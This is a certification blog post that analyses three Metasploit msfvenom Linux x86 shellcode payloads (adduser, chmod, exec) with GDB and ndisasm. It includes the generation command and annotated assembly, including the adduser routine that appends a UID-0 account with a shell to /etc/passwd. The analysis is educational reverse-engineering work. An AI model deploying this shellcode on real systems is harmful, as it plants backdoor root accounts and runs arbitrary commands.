Assignment 05

MSFvenom payload analysis

Saleh Ali Bin Muhaysin

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: **SLAE-1101**

1. Introduction:

This article contains an analysis of some of the msfvenom Linux x86 payloads, those payloads as following:

- linux/x86/adduser
- linux/x86/chmod
- linux/x86/exec

To get the shellcode of the payload we will use the following command:

msfvenom -p linux/x86/<payload> <parameters> --platform linux -a x86 -t elf -f c -o <output-file>

And get the result (which is a variable in C language) and store it in our C file, then compile this file and got the shellcode executable that we are going to use to analyze the payload using GDB.

In the GDB we will get the address of **buf** variable (print/x &buf) and set a breakpoint there, then run the program to analyze only the payload.

To see the disassembly code and its relevant bytes, I used the ndisasm:

echo -ne "<hex-payload>" | ndisasm -u -

2. adduser payload:

This payload will create new user (USER: **username**, PASS: **password**, we changed the username and password since we want to distinguish them in the assembly code) in the **/etc/passwd** file. After we got the payload and compile it in the C file as we described previously, we will run the GDB to debug the shellcode and analyze it.

At first shellcode will call the system call 0x46 (syscall number 70, **setreuid**), this function takes two arguments (**ruid=0**: real user ID, and **euid=0**: effective user ID). This system call will set the user ID of the calling process as a superuser account.

```
1 xor     ecx,ecx
2 mov     ebx,ecx
3 push    0x46
4 pop     eax
5 int     0x80
```

Then, it will call the system call open (syscall number **5**), this will open the file name **/etc//passwd** which pushed in the stack followed by NULL, the "//" used so it can be pushed into the stack as 12 bytes (multiple of 4), this file will open in mode **0x401** (2002 in octal) which means "------S--x", for more information about this mode, visit the following page:

http://www.filepermissions.com/file-permission/2001

```
push    0x5         ; __NR_open
pop     eax
xor     ecx,ecx             ; ecx = 0000
push    ecx
push    0x64777373          ; /etc//passwd
push    0x61702f2f
push    0x6374652f
mov     ebx,esp
inc     ecx                 ; ecx = 0001
mov     ch,0x4              ; ecx = 0401
int     0x80                ; open(/etc//passwd , 401 )
```

The next instruction stores the file descriptor in ebx and call to address 0x804a091.

```
xchg    ebx,eax             ; ebx = open handler
call    0x804a091 <buf+81>  ; ---------
```

If you noticed, before **call** instruction executed, the disassembler couldn't recognize the assembly code in address 0x804a091 correctly:

```
0x0804a090 <+80>:    or      bl,BYTE PTR [ecx-0x75]
0x0804a093 <+83>:    push    ecx
0x0804a094 <+84>:    cld
0x0804a095 <+85>:    push    0x4
0x0804a097 <+87>:    pop     eax
```

The correct assembly shown in GDB after we set breakpoint in the address **0x804a091**.

This code will write the account information to **/etc/passwd** file (ebx contain the file descriptor handler). It first used call-pop technique to get a pointer to account information in address **0x0804a06b** and store it in ecx, then cleverly used the ecx by subtracting **ecx-4** to access the open mode flag 0x0026 (046 in octal- read/write).

```
0x0804a091 <buf+81>: pop    ecx         ; ecx = 0x0804a06b
                                        ; pointer to the account info to be written
0x0804a092 <buf+82>: mov    edx,DWORD PTR [ecx-0x4]; edx = dword [804A067] = 0x26 0x00 = 0x0026
0x0804a095 <buf+85>: push   0x4         ; __NR_write
0x0804a097 <buf+87>: pop    eax
0x0804a098 <buf+88>: int    0x80        ; write (open handler, account info, read-write)
```

We can see the account information stored in 0**x0804a06b** using the GDB:

"username:AzSzB2uy8JFlk:0:0::/:/bin/sh"

```
(gdb) x/38c $ecx
0x804a06b <buf+43>:     117 'u' 115 's' 101 'e' 114 'r' 110 'n' 97 'a'  109 'm' 101 'e'
0x804a073 <buf+51>:     58 ':'  65 'A'  122 'z' 83 'S'  122 'z' 66 'B'  50 '2'  117 'u'
0x804a07b <buf+59>:     121 'y' 56 '8'  74 'J'  70 'F'  108 'l' 107 'k' 58 ':'  48 '0'
0x804a083 <buf+67>:     58 ':'  48 '0'  58 ':'  58 ':'  47 '/'  58 ':'  47 '/'  98 'b'
0x804a08b <buf+75>:     105 'i' 110 'n' 47 '/'  115 's' 104 'h' 10 '\n'
```

And finally, execute the system call exit (syscall number 1).

```
0x0804a09a <buf+90>: push   0x1      ; __NR_exit
0x0804a09c <buf+92>: pop    eax
0x0804a09d <buf+93>: int    0x80
```

To run this shellcode and executed correctly, you have to use **sudo** permission.

```
slae@slae-VirtualBox:~/Desktop/SLAE-Exam3/Assignment05$ cat /etc/passwd | grep username
username:AzSzB2uy8JFlk:0:0::/:/bin/sh
```

2. chmod payload:

This payload take a file path and mode in octal (we used **./test-file** as file path and **0444** as mode) and change this file's mode into 0444.

This payload contains only two system calls, the first is **chmod** and the second is **exit**. At beginning, it used cdq instruction to clear the edx (since eax positive, edx will be always zero), and assign the system call 0xf (chmod) to eax. The next instruction will use call-pop technique to get the file path stored in the next bytes.

```
0x0804a040 <buf+0>:  cdq             ; used to clear edx since eax is positive
0x0804a041 <buf+1>:  push   0xf      ; __NR_chmod
0x0804a043 <buf+3>:  pop    eax
0x0804a044 <buf+4>:  push   edx
0x0804a045 <buf+5>:  call   0x804a056 <buf+22>   ; call-pop tech
; ------------------------------------------------
```

Note that the disassembler didn't recognize the code correctly, since the **call** instruction jump to address **0x0804a056**, but the disassembler start the instruction from **0x0804a055** so the code changed.

```
0x0804a04a <buf+10>: cs das
0x0804a04c <buf+12>: je     0x804a0b3
0x0804a04e <buf+14>: jae    0x804a0c4
0x0804a050 <buf+16>: sub    eax,0x656c6966
0x0804a055 <buf+21>: add    BYTE PTR [ebx+0x68],bl ; -jumped to middle of this addres
0x0804a058 <buf+24>: and    al,0x1
0x0804a05a <buf+26>: add    BYTE PTR [eax],al
0x0804a05c <buf+28>: pop    ecx
0x0804a05d <buf+29>: int    0x80
```

When we used the GDB and jumped to the middle of the instruction (in **0x0804a056**) the code shown correctly. As we said, it used the call-pop technique to get a pointer to the file path in the instruction just after the call instruction (address 0x0804a04a). The **chmod** will use the mode **0x124** (444 in octal).

```
0x0804a056 <buf+22>: pop    ebx          ; pointer to 0x0804a04a (./test-file)
0x0804a057 <buf+23>: push   0x124        ; mode 444 in octal
0x0804a05c <buf+28>: pop    ecx
0x0804a05d <buf+29>: int    0x80         ; chmod("./test-file" , 444)
```

We can check the file path from by examining the ebx register as following:

```
(gdb) x/12xc $ebx
0x804a04a <buf+10>:     46 '.'  47 '/'  116 't' 101 'e' 115 's' 116 't' 45 '-'  102 'f'
0x804a052 <buf+18>:     105 'i' 108 'l' 101 'e' 0 '\000'
```

Finally, call **exit** to finish the execution.

```
0x0804a05f <buf+31>: push   0x1          ; __NR_exit
0x0804a061 <buf+33>: pop    eax
0x0804a062 <buf+34>: int    0x80         ; exit
```

To check if the mode of the file changed, use the **stat** command, and as we can see the file mode changed to 444.

```
slae@ubuntu:~/Desktop/SLAE-Exam4/Assignment05$ stat -c "%a %n" ./test-file
444 ./test-file
```

2. exec payload:

This payload takes a command and execute it, we will give it the command "**id**" (CMD=id) and we should see the result of it. To do that, it will use the system call **execve** (eax=**0xb**). It will push the argument **"-c"** into the stack then push the file path **/bin/sh** and pop it to ebx (first argument of **execve**) which will be used to execute the command **id**. This payload use call-pop technique also, and the disassembler didn't recognize the assembly code too (as we can see after the line). The call will jump to address **0x0804a060**.

```
0x0804a040 <buf+0>:  push   0xb
0x0804a042 <buf+2>:  pop    eax          ; eax=11 , __NR_execve
0x0804a043 <buf+3>:  cdq                 ; edx = 0
0x0804a044 <buf+4>:  push   edx          ; push 0
0x0804a045 <buf+5>:  pushw  0x632d       ; push argument -c
0x0804a049 <buf+9>:  mov    edi,esp      ; get pointer to the argument
0x0804a04b <buf+11>: push   0x68732f     ; /bin/sh
0x0804a050 <buf+16>: push   0x6e69622f
0x0804a055 <buf+21>: mov    ebx,esp      ; address of /bin/sh
0x0804a057 <buf+23>: push   edx          ; psuh 0
0x0804a058 <buf+24>: call   0x804a060 <buf+32> ; call-pop tech.
;----------------------------
0x0804a05d <buf+29>: imul   esp,DWORD PTR [eax+eax*1+0x57],0xcde18953
0x0804a065 <buf+37>: add    BYTE PTR [eax],0x0
```

When we used GDB, the code after the call shown correctly, first we have to push the following command "**/bin/sh -c id**" which will be used as the second argument for **execve**. The "**id**" (stored in address **0x0804a05d** as shown later) pushed when call instruction executed, then it pushed "**-c**" (in edi), then "**/bin/sh**" (in ebx).

```
; ------------- after call ----
  ; the call push next address, which is 0x804a05d => id
   0x0804a060 <buf+32>: push   edi      ; argument -c
   0x0804a061 <buf+33>: push   ebx      ; /bin/sh
   0x0804a062 <buf+34>: mov    ecx,esp  ; ecx => "/bin/sh", "-c", "id"
   0x0804a064 <buf+36>: int    0x80     ; execve("/bin/sh", {"/bin/sh", "-c", "id"}, 0)
   0x0804a066 <buf+38>: add    BYTE PTR [eax],al
```

The **/bin/sh** stored in ebx as following

```
(gdb) x/12xc $ebx
0xbfffefde:     47 '/'  98 'b'  105 'i' 110 'n' 47 '/'  115 's' 104 'h' 0 '\000'
0xbfffefe6:     45 '-'  99 'c'  0 '\000'         0 '\000'
```

and the id pushed to stack after the call instruction in **0x0804a05d** shown as the following:

```
(gdb) x/2xc 0x0804a05d
0x804a05d <buf+29>:     105 'i' 100 'd'
```